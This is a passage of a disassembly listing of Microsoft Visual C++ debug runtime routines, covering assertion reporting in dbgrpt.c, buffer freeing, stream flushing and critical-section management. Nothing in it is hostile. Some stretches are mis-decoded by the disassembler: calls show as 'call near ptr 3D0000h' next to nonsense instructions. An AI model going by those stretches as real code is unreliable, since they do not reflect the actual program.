retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, ds:dword_4EF064 mov [ebp-4], eax mov ecx, [ebp+8] mov ds:dword_4EF064, ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h loc_420E10: ; CODE XREF: sub_41ACF0+24p ; sub_41AD80+2Cp ... push ebp mov ebp, esp mov eax, 302Ch call sub_41DEB0 push edi mov byte ptr [ebp-3008h], 0 mov ecx, 3FFh xor eax, eax lea edi, [ebp-3007h] rep stosd stosw stosb mov byte ptr [ebp-2008h], 0 mov ecx, 3FFh xor eax, eax lea edi, [ebp-2007h] rep stosd stosw stosb mov byte ptr [ebp-1000h], 0 mov ecx, 3FFh xor eax, eax lea edi, [ebp-0FFFh] rep stosd stosw stosb lea eax, [ebp+1Ch] mov [ebp-1004h], eax cmp dword ptr [ebp+8], 0 jl short loc_420E7E cmp dword ptr [ebp+8], 3 jl short loc_420E86 loc_420E7E: ; CODE XREF: seg000:00420E76j or eax, 0FFFFFFFFh jmp loc_42119B ; --------------------------------------------------------------------------- loc_420E86: ; CODE XREF: seg000:00420E7Cj cmp dword ptr [ebp+8], 2 jnz loc_420F30 push offset dword_44FD38 call ds:dword_4F1428 ; InterlockedIncrement test eax, eax jle loc_420F30 cmp ds:dword_4EE9E0, 0 jnz short loc_420EEE push offset aUser32_dll_0 ; "user32.dll" call ds:dword_4F130C ; LoadLibraryA mov [ebp-300Ch], eax cmp dword ptr [ebp-300Ch], 0 jz short loc_420EE6 push offset aWsprintfa ; "wsprintfA" mov ecx, [ebp-300Ch] push ecx call ds:dword_4F1314 mov ds:dword_4EE9E0, eax cmp ds:dword_4EE9E0, 0 jnz short loc_420EEE loc_420EE6: ; CODE XREF: seg000:00420EC4j or eax, 0FFFFFFFFh jmp loc_42119B ; --------------------------------------------------------------------------- loc_420EEE: ; CODE XREF: seg000:00420EAAj ; seg000:00420EE4j mov edx, [ebp+10h] push edx mov eax, [ebp+0Ch] push eax push offset aSecondChanceAs ; "Second Chance Assertion Failed: File %s"... lea ecx, [ebp-2008h] push ecx call ds:dword_4EE9E0 add esp, 10h lea edx, [ebp-2008h] push edx call near ptr 3D0000h loope near ptr loc_420F79+8 cmp ch, bh inc esp add bh, bh adc eax, offset dword_4F1424 call sub_420D00 or eax, 0FFFFFFFFh jmp loc_42119B ; --------------------------------------------------------------------------- loc_420F30: ; CODE XREF: seg000:00420E8Aj ; seg000:00420E9Dj cmp dword ptr [ebp+18h], 0 jz short loc_420F6D mov eax, [ebp-1004h] push eax mov ecx, [ebp+18h] push ecx push 0FEDh lea edx, [ebp-1000h] push edx call sub_41D160 add esp, 10h test eax, eax jge short loc_420F6D push offset a_crtdbgreportS ; "_CrtDbgReport: String too long or IO Er"... lea eax, [ebp-1000h] push eax call sub_41E550 add esp, 8 loc_420F6D: ; CODE XREF: seg000:00420F34j ; seg000:00420F57j cmp dword ptr [ebp+8], 2 jnz short loc_420FA5 cmp dword ptr [ebp+18h], 0 jz short loc_420F85 loc_420F79: ; CODE XREF: seg000:00420F17j mov dword ptr [ebp-3028h], offset aAssertionFaile ; "Assertion failed: " jmp short loc_420F8F ; --------------------------------------------------------------------------- loc_420F85: ; CODE XREF: seg000:00420F77j mov dword ptr [ebp-3028h], offset aAssertionFai_0 ; "Assertion failed!" loc_420F8F: ; CODE XREF: seg000:00420F83j mov ecx, [ebp-3028h] push ecx lea edx, [ebp-3008h] push edx call sub_41E550 add esp, 8 loc_420FA5: ; CODE XREF: seg000:00420F71j lea eax, [ebp-1000h] push eax lea ecx, [ebp-3008h] push ecx call sub_41E560 add esp, 8 cmp dword ptr [ebp+8], 2 jnz short loc_420FFA mov edx, [ebp+8] mov eax, ds:dword_44FD3C[edx*4] and eax, 1 test eax, eax jz short loc_420FE6 push offset asc_439D68 ; "\r" lea ecx, [ebp-3008h] push ecx call sub_41E560 add esp, 8 loc_420FE6: ; CODE XREF: seg000:00420FD0j push offset asc_439D64 ; "\n" lea edx, [ebp-3008h] push edx call sub_41E560 add esp, 8 loc_420FFA: ; CODE XREF: seg000:00420FBFj cmp dword ptr [ebp+0Ch], 0 jz short loc_421042 lea eax, [ebp-3008h] push eax mov ecx, [ebp+10h] push ecx mov edx, [ebp+0Ch] push edx push offset aSDS ; "%s(%d) : %s" push 1000h lea eax, [ebp-2008h] push eax call sub_41D360 add esp, 18h test eax, eax jge short loc_421040 push offset a_crtdbgreportS ; "_CrtDbgReport: String too long or IO Er"... lea ecx, [ebp-2008h] push ecx call sub_41E550 add esp, 8 loc_421040: ; CODE XREF: seg000:0042102Aj jmp short loc_421058 ; --------------------------------------------------------------------------- loc_421042: ; CODE XREF: seg000:00420FFEj lea edx, [ebp-3008h] push edx lea eax, [ebp-2008h] push eax call sub_41E550 add esp, 8 loc_421058: ; CODE XREF: seg000:loc_421040j cmp ds:dword_4EF064, 0 jz short loc_42109C lea ecx, [ebp-1008h] push ecx lea edx, [ebp-2008h] push edx mov eax, [ebp+8] push eax call ds:dword_4EF064 add esp, 0Ch test eax, eax jz short loc_42109C cmp dword ptr [ebp+8], 2 jnz short loc_421091 push offset dword_44FD38 call ds:dword_4F1424 ; InterlockedDecrement loc_421091: ; CODE XREF: seg000:00421084j mov eax, [ebp-1008h] jmp loc_42119B ; --------------------------------------------------------------------------- loc_42109C: ; CODE XREF: seg000:0042105Fj ; seg000:0042107Ej mov ecx, [ebp+8] mov edx, ds:dword_44FD3C[ecx*4] and edx, 1 test edx, edx jz short loc_4210EB mov eax, [ebp+8] cmp ds:dword_44FD48[eax*4], 0FFFFFFFFh jz short loc_4210EB push 0 lea ecx, [ebp-3010h] push ecx lea edx, [ebp-2008h] push edx call sub_41AC70 add esp, 4 push eax lea eax, [ebp-2008h] push eax mov ecx, [ebp+8] mov edx, ds:dword_44FD48[ecx*4] push edx call near ptr 3D0000h pop esi loc_4210EB: ; CODE XREF: seg000:004210ABj ; seg000:004210B8j mov eax, [ebp+8] mov ecx, ds:dword_44FD3C[eax*4] and ecx, 2 test ecx, ecx jz short near ptr loc_421108+1 lea edx, [ebp-2008h] push edx call near ptr 3D0000h loc_421108: ; CODE XREF: seg000:004210FAj mov edi, 8B08458Bh or al, 85h cmp al, 0FDh inc esp add [ebx-367AFB1Fh], al jz short loc_421188 cmp dword ptr [ebp+10h], 0 jz short loc_42113D push 0Ah lea edx, [ebp-3024h] push edx mov eax, [ebp+10h] push eax call sub_42CD40 add esp, 0Ch mov [ebp-302Ch], eax jmp short loc_421147 ; --------------------------------------------------------------------------- loc_42113D: ; CODE XREF: seg000:0042111Ej mov dword ptr [ebp-302Ch], 0 loc_421147: ; CODE XREF: seg000:0042113Bj lea ecx, [ebp-1000h] push ecx mov edx, [ebp+14h] push edx mov eax, [ebp-302Ch] push eax mov ecx, [ebp+0Ch] push ecx mov edx, [ebp+8] push edx call sub_4211A0 add esp, 14h mov [ebp-1008h], eax cmp dword ptr [ebp+8], 2 jnz short loc_421180 push offset dword_44FD38 call ds:dword_4F1424 ; InterlockedDecrement loc_421180: ; CODE XREF: seg000:00421173j mov eax, [ebp-1008h] jmp short loc_42119B ; --------------------------------------------------------------------------- loc_421188: ; CODE XREF: seg000:00421118j cmp dword ptr [ebp+8], 2 jnz short loc_421199 push offset dword_44FD38 call ds:dword_4F1424 ; InterlockedDecrement loc_421199: ; CODE XREF: seg000:0042118Cj xor eax, eax loc_42119B: ; CODE XREF: seg000:00420E81j ; seg000:00420EE9j ... pop edi mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4211A0 proc near ; CODE XREF: seg000:00421161p var_1138 = dword ptr -1138h var_1134 = dword ptr -1134h var_1130 = dword ptr -1130h var_112C = dword ptr -112Ch var_1128 = dword ptr -1128h var_1124 = dword ptr -1124h var_1120 = dword ptr -1120h var_111C = dword ptr -111Ch var_1118 = dword ptr -1118h var_1114 = dword ptr -1114h var_1110 = dword ptr -1110h var_110C = byte ptr -110Ch var_10C = dword ptr -10Ch var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov eax, 1138h call sub_41DEB0 loc_4211AD: ; CODE XREF: sub_4211A0+3Cj cmp [ebp+arg_10], 0 jnz short loc_4211D8 push offset aSzusermessageN ; "szUserMessage != NULL" push 0 push 1DAh push offset aDbgrpt_c ; "dbgrpt.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_4211D8 call sub_420D00 loc_4211D8: ; CODE XREF: sub_4211A0+11j ; sub_4211A0+31j xor eax, eax test eax, eax jnz short loc_4211AD push 104h lea ecx, [ebp+var_108] push ecx push 0 call near ptr 3D0000h push ecx test eax, eax jnz short loc_42120A push offset aProgramNameUnk ; "<program name unknown>" lea edx, [ebp+var_108] push edx call sub_41E550 add esp, 8 loc_42120A: ; CODE XREF: sub_4211A0+54j lea eax, [ebp+var_108] mov [ebp+var_4], eax mov ecx, [ebp+var_4] push ecx call sub_41AC70 add esp, 4 cmp eax, 40h jbe short loc_42124D mov edx, [ebp+var_4] push edx call sub_41AC70 add esp, 4 mov ecx, [ebp+var_4] lea edx, [ecx+eax-40h] mov [ebp+var_4], edx push 3 push offset a___ ; "..." mov eax, [ebp+var_4] push eax call sub_41D800 add esp, 0Ch loc_42124D: ; CODE XREF: sub_4211A0+82j mov ecx, [ebp+arg_C] mov [ebp+var_1110], ecx cmp [ebp+var_1110], 0 jz short loc_4212A8 mov edx, [ebp+var_1110] push edx call sub_41AC70 add esp, 4 cmp eax, 40h jbe short loc_4212A8 mov eax, [ebp+var_1110] push eax call sub_41AC70 add esp, 4 mov ecx, [ebp+var_1110] lea edx, [ecx+eax-40h] mov [ebp+var_1110], edx push 3 push offset a___ ; "..." mov eax, [ebp+var_1110] push eax call sub_41D800 add esp, 0Ch loc_4212A8: ; CODE XREF: sub_4211A0+BDj ; sub_4211A0+D1j cmp [ebp+arg_0], 2 jnz short loc_4212BA mov [ebp+var_1114], offset aForInformation ; "\n\nFor information on how your program c"... jmp short loc_4212C4 ; --------------------------------------------------------------------------- loc_4212BA: ; CODE XREF: sub_4211A0+10Cj mov [ebp+var_1114], offset dword_439EB4 loc_4212C4: ; CODE XREF: sub_4211A0+118j mov ecx, [ebp+arg_10] movsx edx, byte ptr [ecx] test edx, edx jz short loc_4212D9 mov eax, [ebp+arg_10] mov [ebp+var_1118], eax jmp short loc_4212E3 ; --------------------------------------------------------------------------- loc_4212D9: ; CODE XREF: sub_4211A0+12Cj mov [ebp+var_1118], offset dword_439EB4 loc_4212E3: ; CODE XREF: sub_4211A0+137j mov ecx, [ebp+arg_10] movsx edx, byte ptr [ecx] test edx, edx jz short loc_4212FF cmp [ebp+arg_0], 2 jnz short loc_4212FF mov [ebp+var_111C], offset aExpression ; "Expression: " jmp short loc_421309 ; --------------------------------------------------------------------------- loc_4212FF: ; CODE XREF: sub_4211A0+14Bj ; sub_4211A0+151j mov [ebp+var_111C], offset dword_439EB4 loc_421309: ; CODE XREF: sub_4211A0+15Dj mov eax, [ebp+arg_10] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_42131F mov [ebp+var_1120], offset asc_439EA0 ; "\n\n" jmp short loc_421329 ; --------------------------------------------------------------------------- loc_42131F: ; CODE XREF: sub_4211A0+171j mov [ebp+var_1120], offset dword_439EB4 loc_421329: ; CODE XREF: sub_4211A0+17Dj cmp [ebp+arg_8], 0 jz short loc_42133A mov edx, [ebp+arg_8] mov [ebp+var_1124], edx jmp short loc_421344 ; --------------------------------------------------------------------------- loc_42133A: ; CODE XREF: sub_4211A0+18Dj mov [ebp+var_1124], offset dword_439EB4 loc_421344: ; CODE XREF: sub_4211A0+198j cmp [ebp+arg_8], 0 jz short loc_421356 mov [ebp+var_1128], offset aLine ; "\nLine: " jmp short loc_421360 ; --------------------------------------------------------------------------- loc_421356: ; CODE XREF: sub_4211A0+1A8j mov [ebp+var_1128], offset dword_439EB4 loc_421360: ; CODE XREF: sub_4211A0+1B4j cmp [ebp+arg_4], 0 jz short loc_421371 mov eax, [ebp+arg_4] mov [ebp+var_112C], eax jmp short loc_42137B ; --------------------------------------------------------------------------- loc_421371: ; CODE XREF: sub_4211A0+1C4j mov [ebp+var_112C], offset dword_439EB4 loc_42137B: ; CODE XREF: sub_4211A0+1CFj cmp [ebp+arg_4], 0 jz short loc_42138D mov [ebp+var_1130], offset aFile_2 ; "\nFile: " jmp short loc_421397 ; --------------------------------------------------------------------------- loc_42138D: ; CODE XREF: sub_4211A0+1DFj mov [ebp+var_1130], offset dword_439EB4 loc_421397: ; CODE XREF: sub_4211A0+1EBj cmp [ebp+var_1110], 0 jz short loc_4213AE mov ecx, [ebp+var_1110] mov [ebp+var_1134], ecx jmp short loc_4213B8 ; --------------------------------------------------------------------------- loc_4213AE: ; CODE XREF: sub_4211A0+1FEj mov [ebp+var_1134], offset dword_439EB4 loc_4213B8: ; CODE XREF: sub_4211A0+20Cj cmp [ebp+var_1110], 0 jz short loc_4213CD mov [ebp+var_1138], offset aModule ; "\nModule: " jmp short loc_4213D7 ; --------------------------------------------------------------------------- loc_4213CD: ; CODE XREF: sub_4211A0+21Fj mov [ebp+var_1138], offset dword_439EB4 loc_4213D7: ; CODE XREF: sub_4211A0+22Bj mov edx, [ebp+var_1114] push edx mov eax, [ebp+var_1118] push eax mov ecx, [ebp+var_111C] push ecx mov edx, [ebp+var_1120] push edx mov eax, [ebp+var_1124] push eax mov ecx, [ebp+var_1128] push ecx mov edx, [ebp+var_112C] push edx mov eax, [ebp+var_1130] push eax mov ecx, [ebp+var_1134] push ecx mov edx, [ebp+var_1138] push edx mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_0] mov edx, ds:off_44FD54[ecx*4] push edx push offset aDebugSProgramS ; "Debug %s!\n\nProgram: %s%s%s%s%s%s%s%s%s%"... push 1000h lea eax, [ebp+var_110C] push eax call sub_41D360 add esp, 3Ch test eax, eax jge short loc_42145D push offset a_crtdbgreportS ; "_CrtDbgReport: String too long or IO Er"... lea ecx, [ebp+var_110C] push ecx call sub_41E550 add esp, 8 loc_42145D: ; CODE XREF: sub_4211A0+2A7j push 12012h push offset aMicrosoftVisua ; "Microsoft Visual C++ Debug Library" lea edx, [ebp+var_110C] push edx call sub_42D5C0 add esp, 0Ch mov [ebp+var_10C], eax cmp [ebp+var_10C], 3 jnz short loc_421496 push 16h call sub_42D300 add esp, 4 push 3 call sub_41D9F0 loc_421496: ; CODE XREF: sub_4211A0+2E3j cmp [ebp+var_10C], 4 jnz short loc_4214A6 mov eax, 1 jmp short loc_4214A8 ; --------------------------------------------------------------------------- loc_4214A6: ; CODE XREF: sub_4211A0+2FDj xor eax, eax loc_4214A8: ; CODE XREF: sub_4211A0+304j mov esp, ebp pop ebp retn sub_4211A0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4214B0 proc near ; CODE XREF: sub_41AD80+71p ; sub_42E310+400p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, ds:dword_4EEE20 jnb short loc_4214E1 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, ds:dword_4EED20[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jnz short loc_4214FC loc_4214E1: ; CODE XREF: sub_4214B0+Dj call sub_4267E0 mov dword ptr [eax], 9 call sub_4267F0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp short loc_421526 ; --------------------------------------------------------------------------- loc_4214FC: ; CODE XREF: sub_4214B0+2Fj mov edx, [ebp+arg_0] push edx call sub_42DB90 add esp, 4 mov eax, [ebp+arg_0] push eax call sub_421530 add esp, 4 mov [ebp+var_4], eax mov ecx, [ebp+arg_0] push ecx call sub_42DC20 add esp, 4 mov eax, [ebp+var_4] loc_421526: ; CODE XREF: sub_4214B0+4Aj mov esp, ebp pop ebp retn sub_4214B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421530 proc near ; CODE XREF: sub_4214B0+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov eax, [ebp+arg_0] push eax call sub_42DA10 add esp, 4 cmp eax, 0FFFFFFFFh jz short loc_421583 cmp [ebp+arg_0], 1 jz short loc_421552 cmp [ebp+arg_0], 2 jnz short loc_42156C loc_421552: ; CODE XREF: sub_421530+1Aj push 1 call sub_42DA10 add esp, 4 mov esi, eax push 2 call sub_42DA10 add esp, 4 cmp esi, eax jz short loc_421583 loc_42156C: ; CODE XREF: sub_421530+20j mov ecx, [ebp+arg_0] push ecx call sub_42DA10 add esp, 4 push eax call ds:dword_4F12FC ; CloseHandle test eax, eax jz short loc_42158C loc_421583: ; CODE XREF: sub_421530+14j ; sub_421530+3Aj mov [ebp+var_4], 0 jmp short loc_421595 ; --------------------------------------------------------------------------- loc_42158C: ; CODE XREF: sub_421530+51j call ds:dword_4F1310 ; RtlGetLastWin32Error mov [ebp+var_4], eax loc_421595: ; CODE XREF: sub_421530+5Aj mov edx, [ebp+arg_0] push edx call loc_42D930 add esp, 4 mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, ds:dword_4EED20[eax*4] mov byte ptr [edx+ecx+4], 0 cmp [ebp+var_4], 0 jz short loc_4215D3 mov eax, [ebp+var_4] push eax call sub_426740 add esp, 4 or eax, 0FFFFFFFFh jmp short loc_4215D5 ; --------------------------------------------------------------------------- loc_4215D3: ; CODE XREF: sub_421530+90j xor eax, eax loc_4215D5: ; CODE XREF: sub_421530+A1j pop esi mov esp, ebp pop ebp retn sub_421530 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4215E0 proc near ; CODE XREF: sub_41AD80+62p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi loc_4215E6: ; CODE XREF: sub_4215E0+2Ej cmp [ebp+arg_0], 0 jnz short loc_42160A push offset dword_4394EC push 0 push 30h push offset a_freebuf_c ; "_freebuf.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_42160A int 3 ; Trap to Debugger loc_42160A: ; CODE XREF: sub_4215E0+Aj ; sub_4215E0+27j xor eax, eax test eax, eax jnz short loc_4215E6 mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] and edx, 83h test edx, edx jz short loc_42166D mov eax, [ebp+arg_0] mov ecx, [eax+0Ch] and ecx, 8 test ecx, ecx jz short loc_42166D push 2 mov edx, [ebp+arg_0] mov eax, [edx+8] push eax call sub_41B8F0 add esp, 8 mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] and edx, 0FFFFFBF7h mov eax, [ebp+arg_0] mov [eax+0Ch], edx mov ecx, [ebp+arg_0] mov dword ptr [ecx], 0 mov edx, [ebp+arg_0] mov dword ptr [edx+8], 0 mov eax, [ebp+arg_0] mov dword ptr [eax+4], 0 loc_42166D: ; CODE XREF: sub_4215E0+3Ej ; sub_4215E0+4Bj pop edi pop esi pop ebx pop ebp retn sub_4215E0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword ptr [ebp+8], 0 jnz short loc_421696 push 0 call sub_4217F0 add esp, 4 jmp short loc_4216C0 ; --------------------------------------------------------------------------- loc_421696: ; CODE XREF: seg000:00421688j mov eax, [ebp+8] push eax call sub_41F070 add esp, 4 mov ecx, [ebp+8] push ecx call sub_4216D0 add esp, 4 mov [ebp-4], eax mov edx, [ebp+8] push edx call sub_41F0E0 add esp, 4 mov eax, [ebp-4] loc_4216C0: ; CODE XREF: seg000:00421694j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4216D0 proc near ; CODE XREF: seg000:004216A6p ; sub_4217F0+B1p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push eax call sub_421720 add esp, 4 test eax, eax jz short loc_4216E8 or eax, 0FFFFFFFFh jmp short loc_42170F ; --------------------------------------------------------------------------- loc_4216E8: ; CODE XREF: sub_4216D0+11j mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] and edx, 4000h test edx, edx jz short loc_42170D mov eax, [ebp+arg_0] mov ecx, [eax+10h] push ecx call sub_42DC50 add esp, 4 neg eax sbb eax, eax jmp short loc_42170F ; --------------------------------------------------------------------------- loc_42170D: ; CODE XREF: sub_4216D0+26j xor eax, eax loc_42170F: ; CODE XREF: sub_4216D0+16j ; sub_4216D0+3Bj pop ebp retn sub_4216D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421720 proc near ; CODE XREF: sub_41AD80+53p ; sub_420250+A2p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_4], 0 mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] and edx, 3 cmp edx, 2 jnz short loc_4217BB mov eax, [ebp+var_8] mov ecx, [eax+0Ch] and ecx, 108h test ecx, ecx jz short loc_4217BB mov edx, [ebp+var_8] mov eax, [ebp+var_8] mov ecx, [edx] sub ecx, [eax+8] mov [ebp+var_C], ecx cmp [ebp+var_C], 0 jle short loc_4217BB mov edx, [ebp+var_C] push edx mov eax, [ebp+var_8] mov ecx, [eax+8] push ecx mov edx, [ebp+var_8] mov eax, [edx+10h] push eax call sub_42DD30 add esp, 0Ch cmp eax, [ebp+var_C] jnz short loc_4217A5 mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] and edx, 80h test edx, edx jz short loc_4217A3 mov eax, [ebp+var_8] mov ecx, [eax+0Ch] and ecx, 0FFFFFFFDh mov edx, [ebp+var_8] mov [edx+0Ch], ecx loc_4217A3: ; CODE XREF: sub_421720+72j jmp short loc_4217BB ; --------------------------------------------------------------------------- loc_4217A5: ; CODE XREF: sub_421720+62j mov eax, [ebp+var_8] mov ecx, [eax+0Ch] or ecx, 20h mov edx, [ebp+var_8] mov [edx+0Ch], ecx mov [ebp+var_4], 0FFFFFFFFh loc_4217BB: ; CODE XREF: sub_421720+1Fj ; sub_421720+2Fj ... mov eax, [ebp+var_8] mov ecx, [ebp+var_8] mov edx, [ecx+8] mov [eax], edx mov eax, [ebp+var_8] mov dword ptr [eax+4], 0 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_421720 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217E0 proc near ; CODE XREF: sub_41F050+3p push ebp mov ebp, esp push 1 call sub_4217F0 add esp, 4 pop ebp retn sub_4217E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217F0 proc near ; CODE XREF: seg000:0042168Cp ; sub_4217E0+5p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_4], 0 mov [ebp+var_8], 0 push 2 call sub_421A80 add esp, 4 mov [ebp+var_C], 0 jmp short loc_421820 ; --------------------------------------------------------------------------- loc_421817: ; CODE XREF: sub_4217F0:loc_42190Ej mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax loc_421820: ; CODE XREF: sub_4217F0+25j mov ecx, [ebp+var_C] cmp ecx, ds:dword_4F0080 jge loc_421913 mov edx, [ebp+var_C] mov eax, ds:dword_4EF06C cmp dword ptr [eax+edx*4], 0 jz loc_42190E mov ecx, [ebp+var_C] mov edx, ds:dword_4EF06C mov eax, [edx+ecx*4] mov ecx, [eax+0Ch] and ecx, 83h test ecx, ecx jz loc_42190E mov edx, [ebp+var_C] mov eax, ds:dword_4EF06C mov ecx, [eax+edx*4] push ecx mov edx, [ebp+var_C] push edx call sub_41F0B0 add esp, 8 mov eax, [ebp+var_C] mov ecx, ds:dword_4EF06C mov edx, [ecx+eax*4] mov eax, [edx+0Ch] and eax, 83h test eax, eax jz short loc_4218F5 cmp [ebp+arg_0], 1 jnz short loc_4218B9 mov ecx, [ebp+var_C] mov edx, ds:dword_4EF06C mov eax, [edx+ecx*4] push eax call sub_4216D0 add esp, 4 cmp eax, 0FFFFFFFFh jz short loc_4218B7 mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_4218B7: ; CODE XREF: sub_4217F0+BCj jmp short loc_4218F5 ; --------------------------------------------------------------------------- loc_4218B9: ; CODE XREF: sub_4217F0+A2j cmp [ebp+arg_0], 0 jnz short loc_4218F5 mov edx, [ebp+var_C] mov eax, ds:dword_4EF06C mov ecx, [eax+edx*4] mov edx, [ecx+0Ch] and edx, 2 test edx, edx jz short loc_4218F5 mov eax, [ebp+var_C] mov ecx, ds:dword_4EF06C mov edx, [ecx+eax*4] push edx call sub_4216D0 add esp, 4 cmp eax, 0FFFFFFFFh jnz short loc_4218F5 mov [ebp+var_8], 0FFFFFFFFh loc_4218F5: ; CODE XREF: sub_4217F0+9Cj ; sub_4217F0:loc_4218B7j ... mov eax, [ebp+var_C] mov ecx, ds:dword_4EF06C mov edx, [ecx+eax*4] push edx mov eax, [ebp+var_C] push eax call sub_41F120 add esp, 8 loc_42190E: ; CODE XREF: sub_4217F0+4Bj ; sub_4217F0+68j jmp loc_421817 ; --------------------------------------------------------------------------- loc_421913: ; CODE XREF: sub_4217F0+39j push 2 call sub_421B20 add esp, 4 cmp [ebp+arg_0], 1 jnz short loc_421928 mov eax, [ebp+var_4] jmp short loc_42192B ; --------------------------------------------------------------------------- loc_421928: ; CODE XREF: sub_4217F0+131j mov eax, [ebp+var_8] loc_42192B: ; CODE XREF: sub_4217F0+136j mov esp, ebp pop ebp retn sub_4217F0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push 9 call sub_421A80 add esp, 4 mov eax, ds:dword_4EE9E8 mov [ebp-4], eax mov ecx, [ebp+8] mov ds:dword_4EE9E8, ecx push 9 call sub_421B20 add esp, 4 mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, ds:dword_4EE9E8 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421970 proc near ; CODE XREF: sub_41AEB0+48p ; sub_421B80+41p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, ds:dword_4EE9E8 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_421990 mov ecx, [ebp+arg_0] push ecx call [ebp+var_4] add esp, 4 test eax, eax jnz short loc_421994 loc_421990: ; CODE XREF: sub_421970+10j xor eax, eax jmp short loc_421999 ; --------------------------------------------------------------------------- loc_421994: ; CODE XREF: sub_421970+1Ej mov eax, 1 loc_421999: ; CODE XREF: sub_421970+22j mov esp, ebp pop ebp retn sub_421970 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4219A0 proc near ; CODE XREF: sub_425B50+4p push ebp mov ebp, esp mov eax, ds:off_44FDA4 push eax call ds:dword_4F1444 ; InitializeCriticalSection mov ecx, ds:off_44FD94 push ecx call ds:dword_4F1444 ; InitializeCriticalSection mov edx, ds:off_44FD84 push edx call ds:dword_4F1444 ; InitializeCriticalSection mov eax, ds:off_44FD64 push eax call ds:dword_4F1444 ; InitializeCriticalSection pop ebp retn sub_4219A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4219E0 proc near ; CODE XREF: seg000:00425BE3p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 jmp short loc_4219F6 ; --------------------------------------------------------------------------- loc_4219ED: ; CODE XREF: sub_4219E0:loc_421A47j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_4219F6: ; CODE XREF: sub_4219E0+Bj cmp [ebp+var_4], 30h jge short loc_421A49 mov ecx, [ebp+var_4] cmp ds:dword_44FD60[ecx*4], 0 jz short loc_421A47 cmp [ebp+var_4], 11h jz short loc_421A47 cmp [ebp+var_4], 0Dh jz short loc_421A47 cmp [ebp+var_4], 9 jz short loc_421A47 cmp [ebp+var_4], 1 jz short loc_421A47 mov edx, [ebp+var_4] mov eax, ds:dword_44FD60[edx*4] push eax call ds:dword_4F136C ; RtlDeleteCriticalSection push 2 mov ecx, [ebp+var_4] mov edx, ds:dword_44FD60[ecx*4] push edx call sub_41B8F0 add esp, 8 loc_421A47: ; CODE XREF: sub_4219E0+27j ; sub_4219E0+2Dj ... jmp short loc_4219ED ; --------------------------------------------------------------------------- loc_421A49: ; CODE XREF: sub_4219E0+1Aj mov eax, ds:off_44FD84 push eax call ds:dword_4F136C ; RtlDeleteCriticalSection mov ecx, ds:off_44FD94 push ecx call ds:dword_4F136C ; RtlDeleteCriticalSection mov edx, ds:off_44FDA4 push edx call ds:dword_4F136C ; RtlDeleteCriticalSection mov eax, ds:off_44FD64 push eax call ds:dword_4F136C ; RtlDeleteCriticalSection mov esp, ebp pop ebp retn sub_4219E0 endp ; 